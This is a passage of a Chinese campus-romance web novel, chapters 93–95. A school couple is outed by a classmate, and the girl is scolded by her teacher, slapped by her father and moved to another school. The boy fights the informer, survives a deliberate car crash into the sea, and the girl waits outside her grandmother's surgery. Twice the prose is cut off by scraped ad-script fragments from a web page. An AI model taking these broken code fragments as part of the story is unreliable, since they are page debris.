程三好离开了塑胶跑道,绕过其他班级,找到二十一班所在的位置。 江砚高,在队伍最后面,人群中一张帅脸没少引来其他班级女生的目光。 她恍若没看到人,目不斜视地从他身旁经过。 手腕突然被抓住,却又被快速松开。 周围人多,程三好不好说什么,烫着耳朵往前面走,脚步有些乱。 93. 齿轮磨合(校园) 等到所有班级的列队完成,各位校领导发言完毕,就要开始清空场地。 所有人回到观众席上,而参加项目的运动员则开始热身做准备。 散场的时候,周围的人都在往前面走。 她在原地踌躇,没有离开,过了几秒,人群稀疏,果然见队伍最后面的江砚走向她。 等他到了跟前,正想跟他报备一声说自己先回教室,对方低头,看她,先问道:“冷吗?” 他们在操场,一举一动都可能被别人解读成另一层意思,所以二人就保持正常同学交流的距离。 程三好闻言,看进他的眼睛里,摇头说:“不冷。” “真的不冷?” “……那冷。” “……” 空气安静一瞬。 两人对视着,片刻,突然一齐笑了起来。 他们像两个迫不及待想要契合的齿轮,控制不住地想要离对方更近一些,更近一些才好。 程三好笑着,抬眼去瞧江砚。 见他那副放松洽然的神情,内心不知为何有些感慨。 没想到之前看上去那么冷酷无情的人笑起来时,那双桃花眼当真如桃花盛开,酝酿一季醉意,不说情,却有情意。 笑够了,她眨着眼睛恢复清醒,正色道:“我要先回教室,去换件衣服。” “刚才不还说不冷?” “我又没说穿衣服是因为自己冷……” “那是为何?” 程三好表情有一点不自在:“……穿不惯裙子。” “嗯……知道了,走吧。” 见他也要往教室的方向走,程三好疑惑:“你也要去?” “我有东西落在教室了。” 程三好也不知信没信,她没再说话,两人穿过大半个操场,离开了田径地,行走上沥青马路。 到了教室,程三好拿起桌上的校服冬季款穿上。 那是一件长度到屁股下面一点的厚实棉服,她这样穿着,上面宽松,裙摆露出来一些,更显得腿直。 说是要拿东西的某人却连座位都没回一下,就半倚靠着桌面看着人。 见她正专心地抬手整理着帽子,他视线往下撇,停在她宽大的校服外套下面一双白的反光的细腿。 天气冷,她的膝盖被冻红了,泛着淡淡的粉色。 江砚没有停留多久,掀起眼皮看了一下女生的脸。 “……” “……回寝室换一条裤子?”半晌,他说了这么一句。 虽说是运动会期间,但是寝室也不是随时想回就回的。 这个时间点过去的话,宿舍管理人员可不一定放人进去。 程三好有阴影,不想与那些人打交道。 她将宽大的棉服帽子兜在自己的头上,衣服拉链一直拉到最顶端遮住下巴,双手插进衣兜里,嗓音闷闷地。 “……不想去,算了,我们还是赶紧回观众席吧。” 自己班的运动员在操场上挥洒汗水拼命地为班级赢得荣誉,但凡有良心的人都不好意思坐在班里,而是去席上给他们加油。 女生说完,刚才一副等待姿势不打算做什么的男生嗯了一声,松手站直身体,弯腰一手撑在桌面,一手从自己的桌肚里拿走了一件夏季的薄款外套抓在手中。 离开了教室,重新回到操场观众席上。 坐着的人不是很多,毕竟是高中,能考入一中的都是初中三年努力学习换来的,他们上课的时间都在争分夺秒地学习,下课也在卷。 操场正中央出口位置上面就是一整片放着蓝色座椅的观众席,两侧搭有楼梯,很窄,只能一个人过。 程三好走在前面,抬腿上台阶。 江砚落后她几步,往上面走,自然抬眼看前方。 女孩子的裙摆晃动,影影绰绰,引人遐想。 抬脚的动作一顿,他轻皱了一下眉,离开目光,看向旁处。 程三好浑然不觉,她上了观众席,站在平地上,抬眼四处看了一下,最终走向第三排,往里面走坐在其中的一个位置上。 她偏头,却见江砚落后自己这么多,就抬手对着他挥了一挥。 那人没说话,步伐不急不慢地走到她左手边的空位上坐下。 操场上现在进行的项目是女子四乘四百米比赛,周围都是一片喊加油的声音,没有人注意到他们这里。 程三好神采奕奕地看着精彩的比赛,手臂被人一碰,余光中,是男生拿着那件衣服递到她手肘边。 她偏头,问:“你给我做什么?” 江砚却没看人,眼睛盯着操场,语气听不出情绪:“某人腿不要可以直说。” 程三好这时才明白,原来他多拿的这件衣服是给她的。 虽然他话说得不好听,但念在他心还算好的份上,她没呛回去,伸手正要接过来,却不知想到什么,于空中停住,语气有些犹豫:“……你不嫌弃?” “……” 江砚似乎是沉默了一下,侧头掀起眼皮看人:“你我已经疏离到这个份上了?” 程三好明白了,也不扭捏,双手接过来,将那件校服外套抖开盖在自己的腿上。 — 临近中午,周围的人陆陆续续起身。 程三好和江砚也去了食堂,吃了饭,她回宿舍给自己洗了脸,再换了一条长裤,整个人才算活了过来。 天气越来越冷,天空像被一层灰色的幕布给遮住了,不见一丝太阳,时不时地还会起雾,风一吹,宛若奔腾的野马,在建筑物上方肆意窜动。 第二天下午有江砚的比赛项目,中午午休结束后,他回到教室,俨然已经换上了带有字母背心的白色运动套装。 程三好一想到接下来该他上场了,顿时为他紧张起来,都顾不上欣赏他帅气的装扮。 今天她没去观众席,就站在跑道外沿,手中还抱着江砚的外套。 砰的一声,信号枪在空中炸响,一缕青烟很快被风吹散。 左脚向前,右脚向后,摆着预备姿势的几个来自不同班级的男生像剑雨一般跑了出去。 程三好全程目光只追随一人,男生手臂肌肉匀称不夸张,肌理走向太过流畅好看,跑起步来,额头的碎发被风撩起往后,衣摆也在飞舞。 飞扬的似乎不止他的头发,更是少年的青春。 他个子本来就高,顶着那么一张冷峻的帅脸在操场上奔跑,整个人熠熠生辉地正在发光。 跑到后半段,运动员的体力开始不支,有的脸色发白,有的神情痛苦,偏就他江砚一人,脸还是那张脸,冷还是冷,与其他人也拉开了很长的距离。 程三好看着看着,突然笑了一下,意味不明。 一场运动会结束,除了自己班的,其他班的女生也被迷得不行,好几个女生拿着毛巾拿着水来到了跑道外沿。 尽管已经知道他拿第一是八九不离十的事情,但当他越过终点,腰腹带着那条红色的彩带往前冲去的瞬间。 随着周围一片热烈的欢呼声响起,程三好还是心脏停跳一拍。 她掌心发热,不自觉地抓紧怀里抱着的衣服。 视线没有离开,她见江砚被好几个女生围住,一时成为了掉进盘丝洞的“唐僧肉”,十分受欢迎。 程三好呼出一口气,低下头。 宽大的校服帽子遮住她,目光落在地面,心里说不上什么感觉,好像有点酸…… 她搓搓手指,刚要抬头,眼前地面上忽然出现一双运动鞋。 顺着那双穿着球袜的笔直小腿往上看,见是江砚。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他的头发不再像平日里一样是垂在额头上,而是被风吹得有些定形,微微向上翘背着。 这个发型让他整个额头露出来,鬓角锋利,眉骨下一双眼睛像是再也隐藏不了任何情绪,深邃而明了。 他抿紧唇线呼吸,胸膛起伏有点大,瞳孔瞧着要比平时亮一些。 程三好耳根一阵阵发烫,眸光躲闪:“你怎么来了?” 江砚另一只手搭在腰后,俯身看着人,言简意赅:“最后一名还在跑。” 他说着,瞥见女生的耳朵,视线在上面一顿。 女孩子低着头,只能看见她的头顶。 江砚刚运动完,很渴,转瞬问她:“有没有水?” 程三好忘了这茬,她回过神,举着手中的一瓶水,刚要说什么,那双骨节分明的手就夺了过去,拧开瓶盖扬头猛喝几口,水珠顺着他的嘴角一路滑下他修长的脖颈。 口腔干涩的感觉得到疏解,江砚薄唇离开瓶嘴,低头将瓶盖盖上。 他单手握着瓶身,抬眼看向女生,却见她神情微微发愣,素白的脸颊泛着一层薄薄的红晕。 “……怎么了?” 程三好闭了一下眼,再抬起时,多了几分破罐子破摔的意味。 “……我喝过了,那水。” 还没说完,就抬起手背遮住自己的眼睛。 江砚把水瓶握紧了,空气中弥漫着奇怪的氛围。 好在不远处的老师在这时喊人:“喂,那边的同学赶紧过来登记……” 江砚见前面的女生还是用手背遮住眼睛,终究是没说什么,调转脚步去登记了。 把自己的信息填写完毕,负责项目的几个老师开始筹备下一个项目,让学生清空场地。 江砚转过身,第一眼就是看向原先女生站着的位置。 他本以为,她会趁机逃跑,却没想到人还是站在那儿,只不过用背对着他。 四下人声热闹,风吹动草坪,身形清隽,站姿落拓不羁的男生忽然勾唇笑了一下。 — 三天的运动会说长也不长,说短也不短,但好些同学就像有了戒断反应一般,都还没有将心思放到学习上来。 程三好买了一个热水袋,褐色的小熊样式。 此时是课间,程三好看书,却不专心。 她的热水袋放在腿上,抬眼神情奇怪地瞄了一眼教室。 见没人注意到他们这个角落,才收回目光,低声喊了一句:“江砚……” 双手搭在桌上低头写作业的男生嗯了一声。 程三好不动声色地把凳子往他的身边移了移,热水袋放在自己的右腿上,右手则放在桌上,左手插里面,另一头对着江砚。 她说:“要不要你也暖一暖手?” “不用。” “很暖和的。” 专心学习的男生偏过头,向下看了一眼。 没再说什么,抬手伸进了热水袋。 他们的手指碰着手指,没有牵,也没有动。 程三好腿上一重,就知道江砚伸手进来了。 她低下头看了一眼,突然有些后悔了,这个动作,男生的手像是在摸她的腿,莫名地暧昧。 想重新调整姿势,就突然听旁边的人淡声道:“很暖和。” 程三好挠了下自己的脸,不吭声了。 二人保持着这个姿势过了一会儿,临近上课。 “程韵清。”教室前门处有个同学忽然喊她。 程三好对上对方的视线。 “班主任找你,让你去她的办公室。” 此话一出,其他人纷纷向后面投来目光。 江砚不动声色地收回了手,程三好也站起身,搁下热水袋,往教室前面走,内心莫名升腾起一股不安。 94. 离别无声(校园) 老师的办公室在走廊的尽头,程三好一连经过几个班级,站在那算熟悉的门前,抬起右手敲了敲。 蒋华的位置正对着门口,她眼睛扫过来,又快速收了回去,说了一句:“进来。” 程三好便抬腿进入了办公室。 里面还有其他班的老师,蒋华见女生站在她的桌边,这才转过电脑对着她。 “解释解释。” 电脑画面显示是一段监控内容,是那天运动会场上,周围的人群攒动,唯有程三好和江砚对视着笑起来,像是那个世界中的主角显眼得过分。 程三好中指已经抠进了大拇指指腹,她面上半点不显露,语气很平稳:“解释什么?” 办公室里响起一道冷笑声,蒋华神色轻蔑地转过了电脑,操纵鼠标,半晌重新推回来,上面赫然是一张有点模糊的照片。 那张照片正是程三好发现罗坤返校那天中午,江砚冷脸跟她说了话后,程三好拉住他袖子的一瞬间被定格下来。 画面中两人挨得极近,女生神情羞涩低着头,男生表情也不自在,怎么看,不管怎么解释,似乎都不太清白。 程三好想说些什么话,但嘴张了张,却找不到一句合适的措辞。 蒋华见状,双手抱臂靠在办公椅上,表情不好:“有人向我举报你和江砚早恋,如今证据确凿,你怎么说?” 程三好短时间内被迫着成长了一些,她依旧脸色平静,不慌不忙地说道:“我和他并没有早恋。” “那这照片怎么回事?正常的同学相处?啪——” 蒋华突然抬手拿起桌面上的一个蓝色文件夹砸向地面。 程三好身躯下意识一颤,视线一直落在桌面,眼皮垂着。 前方的蒋华劈头盖脸就骂了下来:“你说你学什么不好,偏要学说谎,一个女孩子家家的,都不害羞!我开学那天怎么说的,你现在是忘得一干二净,好的很!” “马上江砚就要代表我们学校去市里参加物理竞赛,如果在这个档□□出他违反校纪校规的事情,校领导们立马就会将他从名单上剔除,换另外一个人去,但凡你有良心,也不该生了这龌龊的心思去影响他。” 她眉毛挑得极高,眼神冰冷:“……如果你还有一点良知的话,从现在开始,我命令你不要与他说一句话,一句也不行!更遑论肢体接触,只要你做得到,我就不会让江砚这件事情捅出去。” 蒋华说完,见前面的女生面色苍白,嘲讽地勾着嘴角:“你知不知道江砚如今是学校的重点培养对象,你为着自己的一己私欲最终会害了他的。我今天把你叫来,私下与你说,希望你回去后能长点脸,不要那么不害臊地贴上去,最终闹得个两败俱伤的下场。” 全程她说的话都在贬低程三好,半点不留情,程三好没料到事情会发展到如今这场局面,她脸色青一阵红一阵,十分难堪。 从办公室离开,她失魂落魄地回到座位上,江砚见她的状态不对,就扭头看她:“发生什么事了?” 程三好整理桌面的书没说话。 江砚皱眉,见她没动静,下意识伸手去碰她的手臂,对方却一下甩开,动作迅猛,江砚的手都被拍红了。 女生似乎也看到了,抬手的动作一顿,却还是没有说什么。 江砚收回手,握紧掌心,片刻像是没感觉到她的冷漠一般,开口问:“班主任对你说了什么?” 女生缄默,神态漠然。 江砚克制着吐出一口气,强压着脾气,依旧跟人好好说:“程三好,我是不是说过,有什么事一定要跟我说,跟我商量,是不是她——” “同学们,都安静——” 后脚跟来的蒋华打断了男生,她照常将书啪在讲桌上,目光扫视整个教室,才缓缓说道:“马上就要期末考了,我看你们一点紧张感都没有。” 她拉下脸,语气严肃:“不知道要我强调重复多少遍,你来学校不是为了玩的,不是为了交朋友,更不是——” 语气渐渐加重:“违反校纪校规去早恋,我希望你们都能有一点自知之明,成绩是想要的,努力是不做的,到时候高考一塌糊涂,还要反过来责怪我们这些老师没有尽到责任,所以都给我收收心思,该有的紧张感给我紧张起来,好了,接下来不多说了,上课……” 江砚抬头看着黑板,知识从他耳朵里进,他却感到一阵陌生,或者说他就不怎么专心。 他偏头看了同桌一眼,对方又像以往一样神神秘秘地将自己用口罩包装起来,整个人对着他不单是疏离,还有一点隐隐约约的戒备。 江砚不解,好不容易熬到了下课,到了中午,他收拾着书包,余光见旁边的女生已经起了身打算离开,心里一急,伸手去抓对方手腕。 她偏身躲开,看了他一眼,那眼太过复杂,复杂到江砚在那一刻深切地意识到,自己原来也并没有那么了解她。 也是因为那一眼,他似乎看出了她的挣扎,所以他没有步步紧逼,让她离开了。 回去后,他躺在床上,闭着眼睛没有睡意,想着既然她不说,他也不会放弃,待会儿上下午的课的时候,用纸条与她交流,问清楚情况。 他是这样想的,可下午等他回到教室,却发现女生并没有来。 距离上课只有几分钟,所有人都回到了教室,唯独程三好没有。 江砚心里难得不平静,握着笔在练习册上写的字,力道很重。 “喂,跟你们说件事。” “我听我隔壁班的一个朋友跟我说,上午她在给老师抱去作业本时,说见到了我们班的程韵清,好像是在说,她在与哪个男生在早恋,我们班主任说她,说的话特别难听……” “她说,她那时偷看了一眼那个站着的女生,瞧着都要被骂哭了,特别可怜。” “我说呢,怎么今天早上的时候她被叫去办公室,原来是因为这件事。” “是啊,是啊,但是有什么好可怜的,只是没想到平时见她看上去还挺乖的,私底下还交起了男朋友,真的好装。” “你别这么说,我接触过她,人还是蛮不错的……你这么说不会是嫉妒吧?” “哪有!我只是有些感慨……” 桌子上的纸张被笔尖滑出一个洞,江砚敛着目光,脸色凌然。 下课的铃声一响,他就起身,快步离开了教室,经过走廊,转身又进入一个廊道,然后站到了高一九班门口,抬腿就踹。 铁门砸在墙壁上发出猛烈的一声砰,良久都还在颤颤巍巍地抖动,似乎还有一些回声,男生就已经踏入了教室。 目光找到某个人时,快步走到那人桌前,伸手一下抓住对方的衣领,逼迫那人抬头。 江砚的戾气源源不断地往外冒,犹如附着一层冰锥子,冷得众人不敢靠近。 他看着人,字像是从牙关里一个一个地挤出来的。 “你做的?” 罗坤知道他在说什么事情,看着他这愤怒生气的样子,他心里十分痛快,但表面上却装无辜:“你在说什么,我听不懂?” 江砚紧紧锁住人,那目光如狼一般,让人头皮发麻。 “你是不是以为你这么做了,就能报复到我?”他冷笑,“结果你还是看到了,我依旧好好地在这里,如何?” 他这个永远高高在上,将他视作蝼蚁一般的眼神,成功激怒了罗坤。 他面上无所谓地笑道:“是不能拿你怎么样,但我猜测……那程韵清想必没少被蒋华训吧?” “有没有哭?她那副眼尾红着,可怜兮兮的样子,我很期待啊……啊!” 他的啊字还在口中,人就被甩向了桌子,脑袋一下砸在了桌面上。 教室内响起一片惊呼,好多女生都被吓得捂住了嘴。 江砚恍若未觉,他整个人就像是化身地狱里来的修罗。 程三好曾说害怕罗坤这样的人是一个亡命徒,实际上,江砚才是那个真正意义上的疯子。 他什么也不在乎,套出话的一瞬间,他一直以来压抑的不爽犹如逃离铁笼中的野兽,一下找到了宣泄口,抓紧罗坤的衣领转身就走。 不管罗坤如何挣扎,他的手岿然不动,中途一路蹭倒了很多的桌椅,动静太大,已经有学生前去叫老师了。 罗坤踉踉跄跄地一直站不稳,他双手抓住锁住他衣领的那只手,试图挣脱他的桎梏,整个脸色涨得通红。 “妈的!你放开我……让你放开,狗崽子——” 他一路骂骂咧咧,等看清环境时,他已经被江砚拖到了男厕所,紧接着密密匝匝的拳头就挥了下来。 他丝毫没有还手的能力,一直在弓着腰伸手格挡。 “我艹你——” 话都没有说完,他就一下被提着惯在了厕所玻璃上。 窗户半开,他双脚离地,上半身已经悬在了半空。 冷风灌进他的脊背,罗坤一下抖得不像话,他僵硬着身体,神色惶恐地瞥了一眼下面,顿时嘴唇发白。 如果从这里掉下去不敢想,非死即伤。 于是他怂了,跟人求饶:“有话好说,有话好说,兄弟,这件事是我错了,行了吧,你先放开……先放开,好好说话,行吗?” 江砚碎发下的眼睛抬起,黑瞳像是一个漩涡,要将人绞死在里面。 “我说了……我不惹事。” “是是是,是我的错,是我自不量力,是我丑人多作怪,求你了江砚,你也不想事情闹大,被学校强制退学,那时你想清楚,你可就不能和她做同桌了……” 他一直不停地说着缓和的话,就怕眼前这个男生将他扔下去。 他毫不怀疑,如果他再说些刺激的话,他一定会这么做。 罗坤在这一刻,终于接触到了前面男生冷漠之下真正的黑暗沼泽,——侵入他的世界,没有退路,任何意义上的。 可那又如何呢,这一刻,虽然他在害怕,但他也在暗爽,这种刺激原来让人那么兴奋,他真的要愉悦升天了哈哈…… 江砚似乎被他的某一句话拉回了理智,缓缓松开手,刚才还在求饶的罗坤抓住这个空隙,突然一脚踹在他的腹部。 “艹!” “我们都是疯子!哈哈——” 紧跟着两人就纠缠在一起,大打出手。 不久后,男厕所门被强制从外面撞开,老师领着保卫科的人将他们二人费了好大的劲才强行拉开。 这件事情闹得太大了,最终二人被叫去了教务处。 江砚走在前面,正要抬手推开,门却先被里面的人打开,迎面走出来一个中年男人和一个中年妇女。 他们穿着不菲,能看出来是有钱人家。 江砚心里生出一种熟悉感,他还没深究这种感觉是怎么回事,下一秒看到两个人背后紧跟着走出来的女生,电光火石间明白了什么。 女孩子显然也看到了他,神色微怔,转瞬像是想到了什么,有些此地无银三百两地偏过头,遮住自己的半张脸。 她反应算是很快了,但江砚还是看清了她右脸上明显的巴掌印。 他不知道怎么短短时间内就发生了这么多的事,他只能大概猜得到,刚才那两人是程三好的父母。 两人都没有说话,他往房间内走,她往外出。 错身而过之间,二人在空中几乎是同时伸出了手,指尖碰指尖那一刹那,瞬间不约而同地握到了一起。 程三好一脚在门外,江砚一脚在门内,就刚好停在门这里位置。 坐着的教导主任看到这番场景,眼都瞪大了:“不是,同学你们干嘛呢?” 在已经往前走站到走廊上的程父程母扭过头时,他们一齐有默契地松开了手。 江砚刚想说什么,就听身后的女生先开口了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “老师,我想在离开之前,与我朋友说几句道别的话。” 江砚一整个人愣住,难以置信地转过身。 前面的程伟国却当即驳回了:“有什么好说的,你是不是还想被打一下?” 他之所以那么随心所欲地立马就来给程三好要办理转学手续,皆是因为上午和一些客户在酒局上闲聊时,被对方嘲讽了一句。 “什么?你现在的孩子竟然在普通的公立学校读书,是出不起那个学费吗?我们圈子里哪家的孩子都是从小在贵族学校里读书的,听说你儿子是在私立,所以你对女儿太苛刻了吧?” 人家话一出,程伟国当时一下就红了脸,他这人最好面子,虚荣心特别强,被人这么一说,他又不敢发怒得罪了客户,只能压着那一腔怒火,回来后叫上黎萍来学校,要将程三好直接转去那种贵族学校里读书。 刚才在办公室内,她第一次忤逆他,说不想转学,他也第一次当着外人的面,给了她一巴掌,要不是旁边还有个女老师在拦着,以他当时的暴脾气,可不止那一巴掌简单。 这会儿听她竟然还要与一个男同学说什么告别的话,他好不容易压下的怒火又腾地冒了出来。 旁边的黎萍觉得,这样大庭广众之下当着老师的面发火不是很好,就拉了拉丈夫的胳膊,道:“有话好好说,还有……” 她看向自己的女儿:“我们为了给你办理这件事情,你爸爸中午饭都没有吃,你就不要再惹他生气了。” 程三好死死抠着手,身体绷直,久久没有说话。 眼见范围僵持着,刚才拦住程伟国的李芳从角落里再度挺身而出,对着他们夫妇柔声说道:“孩子们刚来新的环境,好不容易交了一个朋友,说几句话没什么的,你们作为父母的,想必也能理解对吧?” 程伟国对着外人不轻易甩脸子,捏了捏眉心烦躁道:“随便吧。” 李芳这才看向少年们,嗓音温柔:“去吧,就在外面走廊。” 两人对着她轻点头,离开办公室,站在不远处的走廊边。 明明有很多话想说,话到嘴边却又不知从何说起。 冷风一阵一阵地从四面八方灌进来,远方的景色笼在一层白雾里,什么也看不清。 程三好低着头,良久,她说:“江砚……我要转学了。” 已经猜到大概的男生,并没有自己想象那般平静。 他喉头滚动,视线落在远处灰蒙蒙一片的景色,几度差点不会说话。 留给他们的时间不多,江砚背绷成一条线,没看人:“我知道了……没关系,不是你的错。” “你……照顾好自己,不要忘记吃饭。” “嗯。” 程三好手指捏住自己的衣服下摆,好久好久,周遭一度安静得不像话。 “……那我走了。” 江砚目光依旧落在远方,他听着这话,脸色晦暗不清,再度嗯了一声,说:“好。” 女生一直没有抬头,听到男生的回答,她迈开腿,转身走向程伟国他们,一齐离开了这里。 江砚一直在原地待着,手指被冻僵,没有知觉。 听到教导主任叫他和罗坤进去,他才收回视线,朝办公室内走,期间一次也没有看向程三好离开的方向。 二人互殴,不仅被叫了家长,还被全校通报批评,学生档案上也留下了不可磨灭的一笔。 江砚回到二十一班教室,老师在前面上着课,他没有掏出书本,微微偏头盯着旁边空位上的桌子。 也许是一分钟,或者更短,他随手抓起桌子上的一支笔忽然起身跑出了教室。 “哎!同学,你去哪儿?还在上课期间……” 耳后还有老师的呵斥声,江砚此刻什么也顾不了了,他单手握住门把手拉开,大步跑了出去。 出了教学楼,朝着北门的方向一路狂奔,终于赶在程三好出校门时见到了人。 她的父母正在门卫处填写最后一道转学手续,她落后他们很多,正站在马路中间。 他想也不想就伸手去拉人的手腕。 程三好见是江砚,愕然道:“……你怎么来了?现在不是在上课?” 江砚看着人,没接这个话题,只是问:“要转去哪儿?” “……不知道,他们临时决定的,并没有告诉我。” 江砚点头,表示知道了,他瞥了一眼不远处女生的父母,这才将握的姿势改成牵。 抬眼看着她脸上还留存着的红印子,终于明白了心疼的滋味。 他伸出右手,虚虚地摸着她的脸,哑声道:“疼吗?” 内心的委屈因为对方的一句话似乎顺着水流找到了合适的储存地,所有伪装的坚强被人活生生地扒下,程三好绷着唇,袒露出脆弱,眼眶发红,泪水打湿江砚摸她脸的手。 她摇头,哽咽着声音说道:“不疼……” 江砚大拇指将她的眼泪抹去,嗯了一声,用力地吞咽唾沫:“别哭……” 他低下头,从兜里掏出一只笔,在她的掌心写着什么。 完了,他抬着女生的手背,看着人道:“这是我的电话号码,你回去后一定要打给我。” 眼见前方察觉到不对的程伟国夫妇要转过身,回来找人,江砚放开她的手,定定地最后看了女生一眼。 “一定要打给我,我会来找你……” 话音一落,他就转过身走了。 程三好似乎也感知到什么,也同时转过身往前面走。 她死死咬住了唇,那只被男生写了电话号码的手不敢收拢,将它隐藏在衣袖下。 他们以前天真地以为,时间还很长,未来很远。 他们可以慢慢地书写属于他们的故事,然而命运无常,他们分开太过突然,连好好道别的机会都没有。 天色灰暗,模糊少年人的身影。 95. 思念有时(校园) 翌日,冬雪天,整个世界变成银色。 无论是建筑物上,还是绿化带上,都附着一层厚厚的积雪。 在昨夜,夜深人静之时,一场大雪忽然而至,掩埋了一个不为人知的故事。 一切似乎都回到了原点,江砚打人这件事情,全校皆知,如果说之前是因为他的冷淡让人望而生畏,现如今,就只是纯害怕了,就连以前和他时常去打篮球那一些朋友,也开始渐渐疏远他。 江砚恍若未觉,他埋头在桌子上学习的时间越来越长,在夜间通宵看书的时段也无限拉长。 他似乎变成了一个不知疲倦的机器人,没有情绪,没有温度,比刚开学的时候,更加不近人情。 他要将高中三年的知识迅速消化完,他想要尽快成为一位大人,可以掌控自己的命运。 以前从不把手机带在身边,可现在,他无视那些规则,将它时时刻刻揣在身上,就怕自己遗漏了什么。 一周后,他接到了一通电话。 当时是夜间十点过,他刚下晚自习,回到宿舍正要去洗漱,裤袋中的手机震动起来。 他迅速掏出手机,甚至来不及看一眼手机屏幕,就按下通话键,接听起来。 “小砚,是我。” 听到对方声音的一刹那,男生第一次脸上露出茫然无措的神情。 他无力地站着,那一腔满满的期待瞬间化为齑粉,寒风一吹,什么也没有了。 江波跟他说,江全驰醒了过来,集团内局势已趋于稳定,现在要将他接回去。 这是一个很好的消息,江砚却感觉不到一点开心。 他的心似乎被转学的女生一并带走了,那里空落落的,什么感觉也没有。 他知道爷爷现在很担心他,但他还是说:“……再给我两天时间。” 江波说:“好的,我们不急。” — 两天后,江砚站在北门门口,旁边停着一辆黑色的轿车,车旁站着接他回津市的江波和司机师傅。 他低下头,伸手打开手机查看,没有任何电话或者短信。 地上的积雪已经融化,但旁边的草丛里还堆积着一些细雪。 江波感受到手臂上的凉意,抬头向上看,发现雪又下了。 他撑开一把黑伞,遮住江砚,对他说:“该走了,小砚。” 男生侧脸轮廓流畅,握着手机的手指骨发白,因为用力,手背上的青筋凸起。 他紧紧盯着手机屏幕,再度刷新了一下页面,结果什么也没有。 江波不知道他正在想什么,正要询问,他是不是落下了什么东西。 少年就抬起眼睛,看了他一眼,说:“波叔,我有件事要去办,你们就在这等我。” 话音未落,人已经利索地揣起手机,转身跑起来。 砭骨的寒风刮蹭着他的脸,他像是没有感知到,一直顺着那条柏油马路跑向东门,再从东门穿过广场,去到了教务处。 上楼梯三步并做两步,很快就到了办公室,敲响了那扇门。 里面的老师只有李芳一个人,她神色讶异地看着这个裹挟着寒风站到门外的少年,语气关心:“怎么啦?同学。” 江砚头发上还有雪,很快又化成了水珠。 他径直走到李芳的桌前,站住,对着她说道:“老师,我叫江砚,你知道吗?” 李芳笑起来:“我是你们班的生物老师,怎么会对你不认识呢。” 江砚点头,像是确认了什么一般,开口时,姿态放的很低。 “老师,我希望你可以帮我一个忙。” 风呼呼呼地拍打着窗户玻璃,雪花像一片片鹅毛,缓缓落到地面。 江波拉开黑色轿车的后座车门,让江砚进去,自己才跟着落座。 车子平稳地行驶上高速,一路上基本没有堵车,直到下了高速,驾驶上一条单行公路。 上面是连绵不绝的山峰,下面旁边是一望无际的海洋。 车子即将翻过那个山头转弯时,一辆白色的货车突然横空从侧面撞上了他们的车。 路边蓝色护栏当即被击歪,司机打着方向盘,想要扭转车头避开,然而下一秒,那辆货车再次迎面撞上他们车身。 车内空间猛地翻转,一下就冲出护栏,滚进了海里。 江砚额头都是血,顺着他的脸颊往下滴,视线中世界一片血色。 他脑袋昏沉,意识不清,车子一直在往下沉。 江波扑过来,解开他的安全带,抬手一直在狂砸他身侧的车玻璃。 还残存着一点清醒的司机,也在试图打开驾驶座的车门。 水内压强之大,想要打开车门无异于徒手去推一座山,基本不可能。 江砚迷迷糊糊中,听到了玻璃破裂声在他耳边爆破,紧接着,海水一下疯狂灌进了车内。 “叮铃铃……” “叮铃铃……” 掉进后座的手机不停震动,发出响声,那是江砚特地为程三好来电设置的铃声。 他浑身都是血,被赶来救援的人员往外拖。 江砚已经快憋不住气了,看着自己离那辆车越来越远,嘴边吐出水泡,无声地喊: 【波叔】 他在水中挣扎,神色悲恸,想要他们去救车厢内的江波还有那位司机。 这些保镖是江全驰为提防江权清赶尽杀绝,特地派来对接的。 他们唯一的任务就是保护江砚,护送他到津市。 不顾男生的抗拒,强行带他往海面上游去。 血色的视线里,那辆车沉到海底,渐渐地看不清了。 甫一出海水,他大口地呼吸着,胸膛猛烈地起伏。 因为那辆货车是冲着他所在的那一侧直接撞击过来的,所以他脑震荡很严重,这会儿不仅头在流血,整个鼻腔里也源源不断地冒出血,口腔内全是铁锈味儿。 脚下触碰着的不再是飘渺的海水,而是结实板硬的公路,他想抬起眼睛,努力看清前方,终究还是眼前一黑,陷入了昏迷。 江全驰派来的这些人动作利落地留下一拨人处理局面,另一拨人将江砚带回车里,飞速赶往了就近的一个医院进行抢救治疗。 那头的江全驰得知江波没来得及救出牺牲时,他正坐在轮椅上,滚动轮子来到白色病房的窗边。 老人头发全白了,目光沧桑,瘦得皮包骨。 落地窗外飘着雪,远山朦胧。 他的背挺不直了,皱纹爬满他的脸庞。 一双手上全是治疗留下的可怕针孔,还有未痊愈的结痂。 私人疗养院走廊里很安静,他沉默地待了一下午,雪深了。 — 避免夜长梦多,于是在一家医院成功抢救回来的江砚被抬上专车赶黑接回了津市,送到某私人医院进行住院治疗。 而与此同时,淮市第二人民医院,三楼手术室外长廊的座椅上,坐着一人,正是程三好。 电话铃声响在空荡荡的走廊间,可能持续了半分钟或者更久,手机那头显示无人接听自动挂断了。 屏幕暗了下来,映着程三好的脸。 她那天从学校被程伟国他们接回了家,结果没过多久就听到了乡下外婆的邻居王大嫂打给她的电话,说是黎芳园病倒了,叫了救护车拉去了镇上的医院。 当时她整个人如遭雷劈,什么都没带就拿这个手机想往乡下赶。 程伟国叫住了她,说:“你要去哪?不能去,待会儿换上新裙子,我们一家要去一个晚宴。” 程三好握紧手机,扭过头,眼神直直地盯着人,说:“外婆病倒了,我要去照顾她。” 一说到黎芳园,家里的氛围顿时变得僵硬起来。 程伟国和黎萍的脸色特别不好,又是嫌弃又是厌恶的。 从程三好出生,他们和黎芳园的关系就一直不好,后来抛下了她去到了城里,更是发展得水火不容,双方见面,必定会掐架,恨不得对方去死的那种程度,简直令人叹为观止。 但这些就是确确实实地发生在了程三好的身上,她说完那句话,转身就走,这一次程伟国他们并没有拦住她。 镇上的医疗水平落后,所以程三好一到,就在王大嫂的帮助下,将黎芳园直接转到了市里面的医院治疗。 各种检查,观察了两天后,黎芳园不但没有醒,反倒查出了更严重的病——她的脑袋里长了一颗肿瘤,虽然是良性的,但是随时可能压迫视觉神经,导致她变瞎。而且她年纪大了,动手术的风险很高,能不能在手术台上缓过来还是另一回事。 程三好静静地听完医生的这一番话,有点站不住。 她一直以为外婆只是血压升高没控制住晕过去了,却没想到除了这个病还有更为要命的病魔缠上了她。 护士抓个单子,让她在手术同意书上签字。 程三好快速眨着眼睛,试图让自己保持清醒,握笔在家属栏那里写上自己的名字。 